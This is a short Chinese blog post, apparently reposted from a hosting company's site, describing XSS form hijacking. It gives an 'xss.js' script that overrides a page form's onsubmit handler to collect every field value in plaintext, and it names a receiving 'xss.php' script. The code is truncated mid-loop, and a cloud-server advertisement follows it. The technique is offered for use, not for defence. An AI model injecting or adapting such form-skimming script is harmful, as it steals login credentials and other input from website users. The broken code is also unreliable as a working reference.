大家都知道,在提交form表单时会调用onsubmit方法,既然调用了onsubmit,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息.
xss.js:
var f=document.forms['from1']; if(f==undefined) { f=document.getElementById(''); } var func=f.onsubmit; f.onsubmit=function(event) { var str=''; for(var i=0;i
根据各程序不同,修改表单名称
var f=document.forms['form1'];接收端xss.php
参考:
http://dwblog.github.io/2015/04/29/%E8%A1%A8%E5%8D%95%E5%8A%AB%E6%8C%81/
另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。
标题名称:xss表单劫持(from通用明文记录)-创新互联
转载来于:http://bjjierui.cn/article/dhcohd.html